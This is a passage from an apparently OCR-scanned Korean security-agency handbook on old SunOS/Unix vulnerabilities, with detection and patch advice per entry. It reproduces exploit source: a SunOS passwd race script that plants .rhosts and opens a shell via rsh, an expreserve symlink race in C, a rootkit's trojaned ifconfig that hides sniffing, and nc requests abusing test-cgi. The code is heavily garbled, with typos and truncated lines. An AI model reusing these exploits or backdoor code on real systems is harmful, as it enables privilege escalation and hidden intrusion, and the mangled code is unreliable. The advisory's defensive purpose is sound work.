Page 164: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

!/bin/sh

#

#Syntax: passwdscript target -user

#

#This exploits a flaw in SunOS passwd(1), and attemps

#to become the specified 'user', by creating a .rhosts

#file and using rsh.

#

#Written 1994 by [8LGM]

#Please do not use this script without permission.

#

PATH=/usr/ucb:/usr/bin:/bin export PATH

IFS= " " export IFS

PROG="'basename $0'"

#Check args

if [ $# -ne 1]; Then

echo "Syntax: $PROG user target-file rsh-user"

exit 1

fi

TARGET_USER="$1"

#Check we're on SunOS

if [ "x'uname -s'" != "xSunOS" ]; then

echo "Sorry, this only works on SunOS"

exit 1

fi

# Make the race program

cat >passwdrace.c << 'EOF'

#include <sys/types.h>

#include <sys/stat.h>

#include <unistd.h>

#include <fcntl.h>

#include <stdio.h>

#include <signal.h>

Page 165: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

#include <pwd.h>

Page 166: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

main(argc, argv)

int argc;

char *argv[];

{

FILE *passwd_in, *passwd_out;

int race_child_pid = -1;

struct stat st;

struct passwd *pw;

char pwd_link[256], pwd_dir[256], pwd_file[256], ptmp[256],]

buf[1024], cmd[256], nowhere[256], nowhere2[256],

dir[256];

if (argc !=2) {

fprintf(stderr, "Usage: %s target-user₩n", argv[0]);

exit(1);

}

/*

*Get Target User info

*/

if ((pw = getpwnam(argv[1])) == NULL) {

fprint(stderr, "%s: user ₩"%s₩" dosent seem to exit.₩n". argv[0], argv[1]);

exit(1);

}

strcpy(dir, pw->pw_dir);

/*

*Set up names for directories/links we will access

*/

sprintf(pwd_link, "/tmp/passwd-link.%d", getpid());

sprintf(pwd_dir, "/tmp/passwd-dir.%d", getpid());

sprintf(nowhere, "/tmp/passwd-nowhere.%d", getpid());

sprintf(nowhere2, "/tmp/passwd-nowhere2.%d", getpid());

sprintf(ptmp, "%s/ptmp", dir);

symlink(ped_dir, pwd_link);

/*

*Build temp password file in /tmp/passwd-dir.$$/.rhosts.

*The bigger our 'passwd file', the longer passwd(1) takes

*to write it out, the greater chance we have of noticing

*it doing so and winning the race.

Page 167: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

*/

mkdir(pwd_dir, 0700);

sprintf(pwd_file, "%s/.rhosts", pwd_dir);

if ((passwd_out = fopen(pwd_file, "w+")) == NULL) {

fprintf(stderr, "Cant open %s!₩n", pwd_file);

exit(1);

}

if ((passwd_in = fopen("/etc/passwd", "r")) == NULL) {

fprintf(stderr, "Cant open /etc/passwd₩n");

exit(1);

}

if ((pw = getpwuid(getuid())) == NULL) {

fprintf(stderr, "Who are you?₩n");

exit(1);

}

fprntf(passwd_out, "localhost %s : : : : : : ₩n", pw ->pw_name);

for( ; ; ) {

fseek(passwd_in, OL, SEEK_SET);

while(fgets(buf, sizeof(buf), passwd_in))

fputs(buf, passwd_out);

if(ftell(passwd_out) > 32768)

break;

}

fclose(passwd_in);

fflush(passwd_out);

/*

*Fork a new process. In the parent, run passwd -F.

*In the child, run race process(es).

*/

if ((race_child_pid = fork()) < 0 ) {

perror("fork");

exit(1);

}

if(race_child_pid) {

/*

* Parent - run passwd -F

*/

Page 168: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

sprintf(pwd_file, %s/.rhosts", pwd_link);

puts("Wait until told you see ₩" Enter your password now!₩n"");

sprintf(cmd, "/usr/bin/passwd -F %s", pwd_file);

system(cmd);

kill(race_child_pid, 9);

exit(0);

} else {

/*

*Child

*/

int fd = fileno(passwd_out);

time_t last_access;

/*

* Remember the current 'last accessed'

* time for our password file. Once this

* changes it. we know passwd(1) is reading

* it , and we can switch the symlink.

*/

if (fstat(fd, &st)) {

perror("fstat");

exit(1);

}

last_access = st.st_atime;

/*

* Give passwd(1) a chance to start up.

* and do its initialisations. Hopefully

* by now, its asked the user for their

* password.

*/

sleep(5);

write(0, "Enter your password now!₩n",

sizeof("Enter your password now!₩n"));

/*

* Link our links pointing to nowhere.

*/

unlink(pwd_link);

symlink(dir, pwd_link);

Page 169: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

/*

* Create two links pointing to nowhere.

* We use rename(2) to switch these in later.

* (Using unlink(2)/symlink(2) is too slow).

*/

symlink(pwd_dir, nowhere)

symlink(dir, nowhere2);

/*

*Wait until ptmp exists in our target

*dir, then switch the link

*/

*Wait until passwd(1) has accessed our

*'password file', then switch the link.

*/

while(last_access==st.st_atime)

fstat(fd. &st);

rename(nowhere2, pwd_link);

}

-0 -o passwdrace passwdrace.c

Check we now have passwdrace

[!-x"passwdrace"]; then

echo "$PROG: couldnt compile passwdrace.c-check it out"

exit 1

Start passwdrace

passwdrace $TARGET_USER

Try to rsh

h localhost -1 $TARGET_USER sh-i

it 0

Page 170: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

mail-SunOS-임시파일

mail-SunOS-temp-file

Page 171: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

mail-SunOS-temp-file

mail-SunOS-임시파일

문서번호

KH98-015

문서제목

mail-SunOS-임시파일 (mail-SunOS-temp-file)

관련 응용프로그램

/bin/mail

관련 운영체제

Sun SunOS 4.0.3, 4.1, 4.1.1

취약점 분석

취약점 이해

-/bin/mail은 메일을 보낼 때 루트(root)권한으로 /tmp에 임시파일을 생성한다. 이때 star()

함수를 이용하여 파일의 존재여부나 링크여부를 먼저 검사하고 파일을 연다. 그러나 이 과

정에 경쟁조건이 존재하여 파일의 링크를 바꿀 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

-/bin/mail은 메일을 보낼 때 루트(root)권한으로 /tmp에 임시파일을 생성한다. 이때 stat()

함수를 이용하여 파일의 존재여부나 링크여부를 먼저 검사하고 파일을 연다. 그러나 stat()

로 검사한 후 파일을 열기전에 /tmp의 임시파일을 지우고 내용을 수정하고자 하는 파일을

링크시키면 어떤 파일이라도 루트권한으로 수정이 가능해진다.

Page 172: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹 소스 프로그램

해킹시험 결과

kisa% ls-ld / .rhosts

/.rhosts not found

kisa% Sunmailcp.sh test/.rhosts

expansion too long

expansion too long

setsender: can't ever parse postmaster!

expansion too long

kadosu... cannot resolve name

Possible alias loop

No valid recipients

expansion too long

Mailer-daemon... cannot resolve name

Can't parse myself!

kisa% ls-ld/.rhosts

-rw-rw-rw- 1 root 240 Dec 17 21:52 / . rhosts

kisa% ls-l / .rhosts

-rw-rw-rw- 1 root 240 Dec 17 21:52 / .rhosts

kisa% more / .rhosts

해킹흔적 확인방법

- 이 프로그램을 수행시킬 경우, /tmp에 여러번 링크를 시도했던 흔적이 남는다.

대응방법

패치 설치

-ftp.uu.net:/Sun-dist/100224-01.tar.Z

임시 조치

Page 173: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

expreserve-SunOS-경쟁조건

expreserve-SunOS-race-condition

Page 174: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

expreserve-SunOS-race-condition

expreserve-SunOS-경쟁조건

문서번호

KH98-016

문서제목

expreserve-SunOS-경쟁조건(expreserve-SunOS-race_condition_

관련 응용프로그램

/usr/lib/expreserve

관련 운영체제

Sun SunOS 4.1, 4.1.1, 4.1.2, 4.1.3, 5.0, 5.1, 5.2

취약점 분석

취약점 이해

- expreserve는 vi, ex 등의 편집 작업중 갑자기 시스템이 다운되거나 signal을 받는 등

의 이유로 편집이 도중에 비정상적으로 중단되었을 때 이것을 복구하는 프로그램이다. 그러

나 expreserve의 수행중에 경쟁조건이 존재한다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- expreserve 수행중의 경쟁조건을 이용하여 루트(root)소유의 파일의 소유자를 현재 사

용자로 바꿀 수 있다.

해킹 소스 프로그램

/*

* Exploit a security hole in expreserve on Sun4.1.3

* <program> filename

* overwrites filename as root with garbage, chown‘s to you

* (note, a 4.1.1 test overwrote with no chown

* the first 4 characters written are "++Wn"

* which can be used to overwrite anyones. rhosts as root)

Page 175: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

*

* Tim N.

*/

#include <pwd.h>

#include <fcntl.h>

#define HBLKS 2

#define FNSIZE 128

#define BLKS 900

typedef struct {

time_t time;

int uid;

int flines;

char name[FNSIZE];

short Blocks[BLKS};

short encrypted;

} header;

main(argc,argv)

int argc;

char **argv;

{

int p,u:

header H;

struct passwd *pw;

char buf[100], *dest;

if(argc!=2) {

printf("usage: %s destination₩n", argv[0];)

exit(1);

}

dest=argv[1];

p=getped();

pw=getpwuid(getuid());

sprintf(buf,"/var/preserve/%s/Exaaa%.5d",pw->pw_name,p);

symlink(dest,buf);

close(0);

Page 176: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if(open("./Ex", 0_RDWRIO_CREAT,0666)<0) {

printf("cant open Ex(temp file)₩n");

exit(2);

}

/* fill out feader so that expreserve thinks its legitimit */

H.time=12345; /*who cares*/

strcpy(&H.time,"++₩n“); /*its a long, we got some free bytes in there*/

strcpy(H.name,"NoName");

H.flines=0;

H.uid=getuid();

H.Blocks[0]=HBLKS;

H.Blocks[1]=HBLKS+1;

write(0,&H,sizeof(H));

lseek(0,0,0);

printf("Made temp file 'Ex'. You can remove it when done.₩n");

execl("/usr/lib/expreserve","expreserve",0);

printf("Couldn't exec!₩n");

}

해킹시험 결과

kisa% ls-ld /. rhosts

-rw-r-r- 1 root 0 jan 21 1994 /. rhosts

kisa% more /.rhosts

kisa% cc-o ex expr.c

kisa% ex /. rhosts

Made temp file 'Ex'. You can remove it when done.

kisa% ls-ld /.rhosts

-rw-r-r- 1 kadosu `1994 Dec 17 20:20 /.rhosts

++

해킹흔적 확인방법

-.rhosts나 passwd 파일에 무의미한 데이터들이 포함되게 된다.

Page 177: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

대응방법

패치 설치

- ftp://ftp.uu.net/systems/Sun/Sun-dist/101080-01.tar.Z

임시 조치

- /usr/lib/expreserve의 setuid 비트를 제거한다. 루트 권한으로 다음 명령을 수행시킨다.

/bin/chmod a-x/usr/lib/expreserve

Page 178: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

ifconfig_트로이목마-*-해킹도구

trojaned_ifconfig-*-hack_tool

Page 179: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

trojaned_ifconfig-*-hack_tool

ifconfig_트로이목마-*-해킹도구

문서번호

KH98-017

문서제목

ifconfig_트로이목마-*-해킹도구(trojaned_ifconfig-*-hack_tool)

관련 응용프로그램

ifconfig

관련 운영체제

모든 유닉스 운영체제

취약점 분석

취약점 이해

- 루트킷트(rootkit)는 공격자들이 주로 사용하는 네트워크 스니퍼 프로그램과 이를 지원

하기 위한 백도어 프로그램들을 모은 패키지이다. 이중 ic는 ifconfig의 트로이목마 프로그

램이다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- 루트킷트의 ic는 ifconfig의 트로이목마 프로그램으로서, ifconfig를 사용하여

Promiscuous 모드 설정 상태를 검사하여 스니퍼(sniffer) 설치 여부를 알아내는 작업을 수

행할 수 없게 한다.

해킹소스 프로그램

- 첨부

해킹시험 결과

해킹흔적 확인방법

Page 180: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

대응방법

- 루트킷트(rootkit) 검사도구를 이용한다.

ftp://ftp.fu-berlin.de/unix/security/chkexploit/chkrootkit-0.8.tar.gz

- 파일시스템 무결성 점검도구(tripwire나 md5 등)을 사용하여 수시로 파일 변경 여부를

점검한다.

- 시스템이 피해를 당한 것으로 의심될 때는 원래 버전의 ifconfig를 구해 사용하거나 cpm

등의 프로그램을 이용해 promiscuous 모드 설정 여부를 점검한다.

Page 181: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

/*+

Modified to remove PRMISC message

when -a flag is passed

+*/

/*

*Copyright(c) 1983 Regents of the University of California.

*All right reserved. The Berkeley software License Agreement

*specifies the terms and conditions for redistribution.

*

*@(#)ifconfig.c.1.1 91/11/13 SMI from UCB 4.18 5/22/86

*/

#include<sys/types.h>

#include<sys/socket.h>

#include<sys/ioctl.h>

#include<sys/file.h>

#include<netinet/in.h>

#include<net/if.h>

#include<netinet/if_ether.h>

#ifdef NS

#define NSIP

#include <netns/ns.h>

#include <netns/ns_if.h>

#endif

#ifdef APPLETALK

#include <netat/atalk.h>

#endif APPLETALK

Page 182: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

#define NIT

#ifdef NIT

#include <sys/time.h>

#include <net/nit_if.h>

#endif

#include <stdio.h>

#include <errno.h>

#include <ctype.h>

#include <netdb.h>

char *inet_ntoa();

struct ifreq ifr;

struct sockaddr_in sin={AF_INET};

struct sockadde_in broadaddr;

struct sockadde_in netmask={AF_INET};

struct sockaddr_in ipdst={AF_INET};

char name[30];

int setaddr;

int setmask;

int setbroadaddr;

int setipdst;

int s;

void setifflags(), setifaddr(), setifdstaddr(), setifnetmask();

viod setifmetric(), setifbroadaddr(), setifipdst(), setifether();

#define NEXTARG 0xffffff

#define AF_ANY (-1)

struct cmd {

char *c_name;

int c_parameter; /*NEXTARG means next argv */

void (*c_func)();

int c_af; /*address family restrictions

*/

} cmds[] = {

{ "up", IFF_UP, setifflags, AF_ANY },

{ “down", _IFF_UP setifflags, AF_ANY },

Page 183: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

{ "trailers", _IFF_NOTRAILERS, setifflags, AF_ANY },

{ "-trailers", IFF_NOTRAILERS, setifflags, AF_ANY },

{ "arp" -IFF_NOARP, setifflags, AF_ANY },

{ "-arp", IFF_NOARP, setifflags, AF_ANY },

{ "private" IFF_PRIVATE, setifflags, AF_ANY },

{ "_private", -IFF_PRIVATE, setifflags, AF_ANY },

{ "netmask", NEXTARG, setifnetmask, AF_INET },

{ "metric", NEXTARG, setifmetric, AF_ANY },

{ "broadcast", NEXTARG, setifbroadaddr,AF_ANT },

{ "ipdst", NEXTARG, setifipdst, AF_NS },

{ "ether", NEXTARG, setifether, AF_ANY },

{ 0, 0, setifaddr, AF_ANY },

{ 0, 0, setifdstaddr, AF_ANY },

};

/*

* XNS support liberally adapted from

* code written at the University of Maryland

* principally by james O'Toole and Chris Torek.

*/

int in_status(), in_getaddr();

int xns_status(), xns_getaddr();

int at_status(), at_getaddr();

int ether_status(), ether_getaddr();

/* Known address families */

struct afswtch {

char *af_name;

short af_af;

int (*af_status)();

int (*af_getaddr)();

} afs[] = {

{ "inet", AF_INET, in_status, in_getaddr },

{ "ns", AF_NS, xns_status, xns-getaddr },

{ "appletalk", AF_APPLETALK, at_status, at_getaddr },

{ "ether", AF_INET, ether_status, ether_getaddr },

{0, 0, 0, 0, }

};

Page 184: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

struct afswtch *afp; /*the address family being set or asked about*/

main(argc, argv)

int argc;

char *argv[];

{

int af = AF_INET;

void foreachinterface(), ifconfig();

if (argc < 2) {

fprintf(stderr, "usage: ifconfig

interface₩n%s%s%s%s%s₩n",

"₩t[<af>] {<address> [<dest_addr>]][up][

down ]₩n",

"₩t[netmask <mask>][broadcast <broad_addr>]₩n",

"₩t[metric<n> ₩n",

"₩t[trailers | -trailers] [private | -private]₩n",

"₩t[arp | -arp] ₩n");

exit(1);

}

argc--, argv++;

strncpy(name, *argv, sizeof(name));

argc--, argv++;

if (argc > 0) {

struct afswtch *myafp;

for (myafp=afp=afs;myafp->af_name;myafp++)

if(strcmp(myafp->af_name, *argv_=0) {

afp=myafp;argc-;argv++;

break;

}

af=ifr.ifr_addr.sa_family=afp->at_af;

}

s=socket(af, SOCK_DGRAM, 0);

if (s<0> {

perror("ifconfig:socket"):

exit(1);

}

Page 185: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if (strcmp(name, "-a"))

ifconfig(argc, argv, af, (struct ifnet *) NULL);

else

foreachinterface(ifconfig, argc, argv, af);

exit(0);

/*NOTREACHED*/

}

/*

*For each interface, call(*func)(argc, argv, af, ifrp).

*/

void

foreachinter face(func, argc, argv, af)

void (*func)();

int argc;

char **argv;

int af;

{

int n;

charbuf[BUFSIZ];

struct ifconf ifc;

register struct ifreq *ifrp;

ifc.ifc_len=sizeof (buf);

ifc.ifc_buf=buf;

if(icotl(s, SIOGIFCONF, (char*)&ifc)<0 {

perror("ioctl (get interface configuration)");

close(s);

return;

}

ifrp=ifc.ifc_req;

for(n=ifc.ifc_len / sizeof (struct ifreq); n > 0; n-,

ifrp++) {

/*

* We must close and recreate the socket each time

* since we don't know what type of socket it is

now

* (each status function may change it).

*/

(void) close(s);

s=socket(af, SOCK_DGRAM, 0);

Page 186: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if(s=-1) {

perror("ifconfig;socket");

exit(1);

}

/*

* Reset global state bariables to known values.

*/

setaddr=setbroadaddr=setipdst=setmask=0;

(void) strncpy(name, ifrp->ifr_name, sizeof(name));

(*func)(argc, argv, at, ifrp);

}

}

void

ifconfig(argc, argv, af, ifrp)

int argc;

char **argv;

int af;

register struct ifreq *ifrp;

{

if(argc=0){

status();

return;

}

while(argc)>0) {

register struct cmd *p;

for (p=cmds; p->c_name;p++)

if(strcmp(*argv, p->c_name)=0)

break;

if(p->c_name=0&&setaddr)

p++; /*got src, do dst */

if(p->c_func){

if(p->c_parameter=NEXTARG){

argc-, argv++;

if(argc=0){

(void) fprintf(stderr,

"ifconfig;no argument for

Page 187: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

%s₩n",

p->c_name);

exit(1);

}

/*

*

* Call the function if:

*

* there's no address

family

* restriction

* OR

* we don't know the

address yet

* (because we were called

from

* main)

* OR

* there is a restriction

and

* the address families

match

*/

if ((p->c_af=AF_ANY)

||

(ifrp=(struct ifreq*)NULL)

||

(ifrp->ifr_addr.sa_family==

p->c_af)

)

(*p->c_af=AF_ANY)

} else

if((p->c_af=AF_ANY)

||

(ifrp=(struct ifreq*) NULL)

||

(ifrp->ifr_addr.sa_family==

p->c_af)

)

Page 188: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

(*p->c_func)(*argv,

p->c_parameter);

}

argc-, argv++;

}

if ((setmask || setaddr) && (af=AF_INET)&&

netmask.sin_addr.s_addr!+INADDR_ANY) {

/*

* If setting the address and not the mask,

* clear any existing mask and the kernel will then

* assign the default. If setting both,

* set the mask first, so the address will be

* interpreted correctly.

*/

strncpy(ifr.ifr_name.name.sizeof (ifr.ifr_name));

ifr.ifr_addr=*(struct sockaddr*)&netmask;

if(ioctl(s, SIOCSIFNETMASK, (caddr_t)&ifr)<0)

Perror("ioctl(SIOCSIFNETMASK)");

}

#ifdef NS

if(setipdst && af=AF_NS) {

struct nsip_req rq;

int size = sizeof(rq);

rq.rq_ns = *(struct sockaddr *) &sin;

rq.rq_ip = *(struct sockaddr *) &ipdst;

if (setsockopt(s, 0, SO_NSIP_ROUTE, &rq, size) <0)

perror("Encapsulation Routing");

setaddr = 0;

}

#endif

if (setaddr) {

ifr.ifr_addr = *(sturct sockadddr *) &sin;

strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name));

if (ioctl(s, SIOCSIFADDR, (caddr_t)&ifr) <0)

perror("ioctl (SIOCSIFADDR)");

}

if (setbroadaddr) {

ifr.ifr_addr = *(sturct sockadddr *)&broadaddr;

strncpy(ifr.ifr_name, sizeof (ifr.ifr_name));

Page 189: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if (ioc시(s, SIOCSIFBRDADDR, (caddr_t)&ifr) <0)

perror("ioctl (SIOCSIFADDR)");

}

}

/*ARGSUSED*/

void

setifaddr(addr,param)

char *addr;

short param;

{

/*

*Delay the ioctl to set the interface addr until flags are all

set.

* The address interpretaion may depend on the flags,

* and the flags may change when the address is set.

*/

setaddr++;

(*afp->af_getaddr)(addr,&sin);

}

void

setifnetmask(addr)

char *addr;

{

if (strcmp(addr, "+") ==0) {

setmask = in_getmask(&netmask);

return;

}

in_getaddr*(addr,&netmask);

setmask++;

}

void

setifbroaddaddr(addr)

char *addr;

{

/*

* This doesn't set the broadcast address at all. Rather,

it

* gets, then sets the interface's address, relyng on the

Page 190: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

fact

* that restting the address will reset the broadcast

address.

*/

if (strcmp(add, "+") == 0) {

if (!setaddr) {

/*

* if we do not already have an address to set,

* then we just read the interface to see if it

* is already set.

*/

strncpy(ifr.ifr_name, sizeof

(ifr.ifr_name));

if (ioctl(s,SIOCGIFADDR, (caddr_t)&ifr) <0) {

if (errno !=EADDRNOTAVAIL)

perror("SIOCGIFADDR failed -

cannot reset broadcast address");

return;

}

sin = * ((struct sockaddr_in *)&ifr.ifr_addr);

setaddr++

}

/*

* Turn off setbroadcast to allow for the (rare)

* case if a yser satbg]

* ifconfig ... broadcast <number> ...broadcast +

*/

setbroadaddr = 0;

return;

}

(*afp->af_getaddr)(addr,&broaddaddr);

setbroadaddr++;

}

void

setifipdst(addr)

char *addr;

{

in_getaddr(addr, &ipdst);

setipdst++;

}

Page 191: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

/*ARGSUSED*/

void

setifdstaddr(*addr,param)

char *addr;

int param;

{

(*afp->af_getaddr)(addr, &ifr.ifr_addr);

strncpy(ifr.ifr_name, name sizeof(ifr.ifr_name));

if (iocti(s,SIOCSIFDSTADDR, (caddr_t)&ifr( <0)

perror("ioctl (SIOCSIFDSTADDR)");

}

void

setifflags(vname, value)

char *value;

int value;

Page 192: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

test_CGI-*-입력해석

(test_CGI-*-parse)

Page 193: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

test_CGI-*-parse

test_CGI-*-입력해석

문서번호

KH98-019

문서제목

test_CGI-*-프로그램버그(test_CGI-*-parse)

관련응용프로그램

NCSA httpd 1.5a, Aparche httpd 1.0.3 이전 버전

관련 운영체제

Sun 4.1.3

취약점 분석

취약점 이해

서버의 환경변수를 프린트 해 주는 test-cgi 프로그램의 버그를 이용하여 디렉토리내의 내

용을 볼 수 있다.

취약점 확인 방법

- test-cgi 프로그램내에 다음과 같은 행이 있는지 확인한다.

echo QUERY_STRING = $QUERY_STRING

해킹수법 분석

해킹수법 이해

- 서버의 환경변수를 프린트해 주는 test-cgi 프로그램의 버그를 이용하여 디렉토리내의 내

용을 볼 수 있다.

- 이 프로그램에는 다음과 같은 행이 포함되어 있다.

echo QUERY_STRING = $QUERY_STRING

만약 QUERY_STRING 즉, 클라이언트로부터의 입력에 ‘*’ 등의 특수문자가 포함되는 경우,

이 문자들이 실제로 명령행에 전달되기 전에 해석되어 확장되게 되므로 문제가 발생하는 것

이다.

Page 194: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

- “*” 와 같은 문자를 포함하는 입력값을 보내면 확장자로 쓰여 디렉토리내의 모든 파일

리스트를 되돌려 주고 “/*” 와 같은 입력값을 보내면 루트 디렉토리(/)의 리스트를 되돌려

준다.

Page 195: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹 소스 프로그램

해킹시험 결과

% echo "GET/cgi-bin/test-cgi?/*"|nc host.domain 80

% echo "GET/cgi-bin/test-cgi?*"|nc host.domain 80

또는

% telnet host.domain 80

GET /cgi-bin/test-cgi?*

해킹흔적 확인방법

- 웹서버(httpd)의 로그파일을 점검한다.

대응방법

패치 설치

- test-cgi 프로그램내의 모든 환경변수들에 대해 다음과 같이 인용부호로 묶어준다.

변경전

echo QUERY_STRING = $QUERY_STRING

변경후

echo QUERY_STRING = “$QUERY_STRING”

임시 조치

- test-cgi 프로그램을 사용 불가능하게 퍼미션을 변경시키거나 test-cgi 프로그램을 제거

한다.

Page 196: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Sendmail_EXPN/VRFY-*-구성

(Sendmail_EXPN/VRFY-*-config)

Page 197: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

(Sendmail_EXPN/VRFY-*-config)

Sendmail_EXPN/VRFY-*-구성

문서번호

KH98-020

문서제목

Sendmail_EXPN/VRFY-*-구성 (Sendmail_EXPN/VRFY-*-config)

관련응용프로그램

Sendmail

관련 운영체제

모든 운영체제

취약점 분석

취약점 이해

Sendmail 의 EXPN 명령은 메일링 리스트의 사용자 정보(이름과 미일주소)를 보여주며

